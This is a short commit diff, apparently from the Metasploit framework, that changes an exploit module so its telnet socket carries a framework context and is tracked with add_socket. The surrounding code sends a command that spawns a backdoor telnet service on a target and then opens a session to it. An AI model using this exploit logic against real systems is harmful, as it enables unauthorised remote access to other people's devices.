Add Context to rex sockets plus track them with add_socket

This commit is contained in:
jvazquez-r7
2013-09-18 12:39:08 -05:00
parent 1988085a94
commit 61ab0e245c
3 changed files with 12 additions and 3 deletions
@@ -88,12 +88,15 @@ class Metasploit3 < Msf::Exploit::Remote
request(cmd)
print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...")
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i, 'Context' => ctx })
if sock.nil?
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
end
add_socket(sock)
print_status("#{rhost}:#{rport} - Trying to establish a telnet session...")
prompt = negotiate_telnet(sock)
if prompt.nil?